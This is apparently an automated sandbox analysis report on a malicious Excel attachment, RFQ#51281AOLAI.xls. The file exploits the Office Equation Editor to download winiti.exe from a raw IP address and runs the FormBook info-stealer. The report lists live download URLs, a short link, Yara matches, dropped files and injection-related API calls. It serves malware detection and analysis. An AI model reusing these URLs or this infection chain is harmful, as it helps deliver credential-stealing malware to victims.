Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 09:07:15 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BP%2FoNZFsu5NoJ2VHc8FLC37%2FXnlTwEwtM0nXnI%2F7U40Kzm4UI5cYplLfaeHiXSnnXM8BCCIaM2ls6YL1f4sfEySGyCjl64RzWajeO7SNy%2BZEIbDF8CoOgWXL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a933d044f4843aa-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 09:07:19 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ASSs5oNO7KlkDaxt8lzsY7zELo7mEgZGYmKo1tZooPCsbG9KH7DT4ibwma6%2BzSACTQVswG%2BTcw9iyHWbQj9K28AICJ32Y8M%2FwHf70oS%2F25VESXW4lVWqlCNX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a933d201c5a4338-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 09:07:19 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ASSs5oNO7KlkDaxt8lzsY7zELo7mEgZGYmKo1tZooPCsbG9KH7DT4ibwma6%2BzSACTQVswG%2BTcw9iyHWbQj9K28AICJ32Y8M%2FwHf70oS%2F25VESXW4lVWqlCNX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a933d201c5a4338-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 09:08:21 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TsjIlU1hx5fa%2BVMyLkPmD6JFcksZgmIHlWwiGUYIs%2FZUQP%2BkwJ3xsm5LWw0yy6tSKpvOkPzMYHnFNgNoG1NFA1JvqtFlPjChQdh46WuXq1bK7G5jGWZm2Qbk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a933ea469e580d0-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 09:08:21 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TsjIlU1hx5fa%2BVMyLkPmD6JFcksZgmIHlWwiGUYIs%2FZUQP%2BkwJ3xsm5LWw0yy6tSKpvOkPzMYHnFNgNoG1NFA1JvqtFlPjChQdh46WuXq1bK7G5jGWZm2Qbk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a933ea469e580d0-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: EQNEDT32.EXE, 00000008.00000002.441287164.00000000002FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.exe
Source: EQNEDT32.EXE, 00000008.00000002.441287164.00000000002FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.exej
Source: EQNEDT32.EXE, 00000008.00000002.441287164.00000000002FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.exekkC:
Source: tny.wtf.url.4.dr String found in binary or memory: http://tny.wtf/
Source: RFQ#51281AOLAI.xls, dGa.url.4.dr String found in binary or memory: http://tny.wtf/dGa
Source: ~DFFE8567877254EA13.TMP.0.dr, 1E630000.0.dr String found in binary or memory: http://tny.wtf/dGayX

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 10.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.530344270.00000000002D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.530386931.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 10.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 10.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.530344270.00000000002D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.530386931.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc, type: DROPPED Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1804222C.doc, type: DROPPED Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Excel sheet contains many unusual embedded objects
Source: RFQ#51281AOLAI.xls OLE: Microsoft Excel 2007+
Source: 1E630000.0.dr OLE: Microsoft Excel 2007+
Source: ~DFB487D2232F45372D.TMP.0.dr OLE: Microsoft Excel 2007+
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\dGa.url Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url Jump to behavior
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\winiti.exe Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0042BEE3 NtClose, 10_2_0042BEE3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C07AC NtCreateMutant,LdrInitializeThunk, 10_2_008C07AC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BF9F0 NtClose,LdrInitializeThunk, 10_2_008BF9F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFAE8 NtQueryInformationProcess,LdrInitializeThunk, 10_2_008BFAE8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFB68 NtFreeVirtualMemory,LdrInitializeThunk, 10_2_008BFB68
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFDC0 NtQuerySystemInformation,LdrInitializeThunk, 10_2_008BFDC0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C00C4 NtCreateFile, 10_2_008C00C4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C0048 NtProtectVirtualMemory, 10_2_008C0048
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C0060 NtQuerySection, 10_2_008C0060
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C0078 NtResumeThread, 10_2_008C0078
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C01D4 NtSetValueKey, 10_2_008C01D4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C010C NtOpenDirectoryObject, 10_2_008C010C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C0C40 NtGetContextThread, 10_2_008C0C40
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C10D0 NtOpenProcessToken, 10_2_008C10D0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C1148 NtOpenThread, 10_2_008C1148
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BF8CC NtWaitForSingleObject, 10_2_008BF8CC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BF900 NtReadFile, 10_2_008BF900
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BF938 NtWriteFile, 10_2_008BF938
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C1930 NtSetContextThread, 10_2_008C1930
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFAB8 NtQueryValueKey, 10_2_008BFAB8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFAD0 NtAllocateVirtualMemory, 10_2_008BFAD0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFA20 NtQueryInformationFile, 10_2_008BFA20
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFA50 NtEnumerateValueKey, 10_2_008BFA50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFBB8 NtQueryInformationToken, 10_2_008BFBB8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFBE8 NtQueryVirtualMemory, 10_2_008BFBE8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFB50 NtCreateKey, 10_2_008BFB50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFC90 NtUnmapViewOfSection, 10_2_008BFC90
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFC30 NtOpenProcess, 10_2_008BFC30
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFC48 NtSetInformationFile, 10_2_008BFC48
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFC60 NtMapViewOfSection, 10_2_008BFC60
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFD8C NtDelayExecution, 10_2_008BFD8C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008C1D80 NtSuspendThread, 10_2_008C1D80
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFD5C NtEnumerateKey, 10_2_008BFD5C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFEA0 NtReadVirtualMemory, 10_2_008BFEA0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFED0 NtAdjustPrivilegesToken, 10_2_008BFED0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFE24 NtWriteVirtualMemory, 10_2_008BFE24
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFFB4 NtCreateSection, 10_2_008BFFB4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFFFC NtCreateProcessEx, 10_2_008BFFFC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008BFF34 NtQueueApcThread, 10_2_008BFF34
Detected potential crypto function
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 8_2_0030811C 8_2_0030811C
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 8_2_00308354 8_2_00308354
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 8_2_0030EB5C 8_2_0030EB5C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_002E04C8 9_2_002E04C8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_002E3D98 9_2_002E3D98
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_002E1168 9_2_002E1168
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_002E3B38 9_2_002E3B38
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00721DE8 9_2_00721DE8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_007219C0 9_2_007219C0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_007219B1 9_2_007219B1
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00722230 9_2_00722230
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00722220 9_2_00722220
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00722B50 9_2_00722B50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00722710 9_2_00722710
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00722718 9_2_00722718
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00401420 10_2_00401420
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00401000 10_2_00401000
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00401154 10_2_00401154
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00401160 10_2_00401160
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00416A4E 10_2_00416A4E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00416A53 10_2_00416A53
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0040FCCB 10_2_0040FCCB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0040FCD3 10_2_0040FCD3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0042E523 10_2_0042E523
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0040FEF3 10_2_0040FEF3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0040DF73 10_2_0040DF73
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00402FD0 10_2_00402FD0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008CE0C6 10_2_008CE0C6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008CE2E9 10_2_008CE2E9
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_009763BF 10_2_009763BF
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008F63DB 10_2_008F63DB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008D2305 10_2_008D2305
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0091A37B 10_2_0091A37B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0095443E 10_2_0095443E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_009505E3 10_2_009505E3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008EC5F0 10_2_008EC5F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00916540 10_2_00916540
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008D4680 10_2_008D4680
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008DE6C1 10_2_008DE6C1
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0091A634 10_2_0091A634
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00972622 10_2_00972622
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008DC7BC 10_2_008DC7BC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008DC85C 10_2_008DC85C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008F286D 10_2_008F286D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0097098E 10_2_0097098E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008D29B2 10_2_008D29B2
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_009649F5 10_2_009649F5
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008E69FE 10_2_008E69FE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0091C920 10_2_0091C920
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0097CBA4 10_2_0097CBA4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00956BCB 10_2_00956BCB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00972C9C 10_2_00972C9C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0095AC5E 10_2_0095AC5E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00900D3B 10_2_00900D3B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008DCD5B 10_2_008DCD5B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00902E2F 10_2_00902E2F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008EEE4C 10_2_008EEE4C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0096CFB1 10_2_0096CFB1
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00942FDC 10_2_00942FDC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008E0F3F 10_2_008E0F3F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008FD005 10_2_008FD005
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008D3040 10_2_008D3040
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008E905A 10_2_008E905A
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0094D06D 10_2_0094D06D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0095D13F 10_2_0095D13F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00971238 10_2_00971238
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008CF3CF 10_2_008CF3CF
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008D7353 10_2_008D7353
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008E1489 10_2_008E1489
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00905485 10_2_00905485
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0090D47D 10_2_0090D47D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_009735DA 10_2_009735DA
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008D351F 10_2_008D351F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0095579A 10_2_0095579A
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_009057C3 10_2_009057C3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0096771D 10_2_0096771D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0094F8C4 10_2_0094F8C4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0096F8EE 10_2_0096F8EE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00955955 10_2_00955955
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0095394B 10_2_0095394B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_00983A83 10_2_00983A83
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0095DBDA 10_2_0095DBDA
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008CFBD7 10_2_008CFBD7
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008F7B00 10_2_008F7B00
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0096FDDD 10_2_0096FDDD
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_0095BF14 10_2_0095BF14
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 10_2_008FDF7C 10_2_008FDF7C
Document contains embedded VBA macros
Source: RFQ#51281AOLAI.xls OLE indicator, VBA macros: true
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~DFB487D2232F45372D.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{D8610C7A-67F1-4B3D-A1E4-B9ACF1973A7E}.tmp.4.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 008CE2A8 appears 60 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 0093F970 appears 84 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 00913F92 appears 132 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 0091373B appears 253 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 008CDF5C appears 137 times
Yara signature match
Source: 10.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 10.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.530344270.00000000002D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.530386931.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc, type: DROPPED Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1804222C.doc, type: DROPPED Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: winiti[1].exe.8.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: winiti.exe.8.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 9.2.winiti.exe.680000.0.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.winiti.exe.680000.0.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.winiti.exe.26e505c.4.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.winiti.exe.26e505c.4.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, hNFj00Hv45CTOkfqEI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 9.2.winiti.exe.1120000.2.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: _0020.SetAccessControl
Source: 9.2.winiti.exe.1120000.2.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 9.2.winiti.exe.1120000.2.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: _0020.SetAccessControl
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 9.2.winiti.exe.3a40ff8.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 9.2.winiti.exe.1120000.2.raw.unpack, hNFj00Hv45CTOkfqEI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: _0020.SetAccessControl
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 9.2.winiti.exe.3ac8a18.6.raw.unpack, hNFj00Hv45CTOkfqEI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@7/25@8/3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\1E630000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRA3AD.tmp Jump to behavior
Source: RFQ#51281AOLAI.xls OLE indicator, Workbook stream: true
Source: 1E630000.0.dr OLE indicator, Workbook stream: true
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
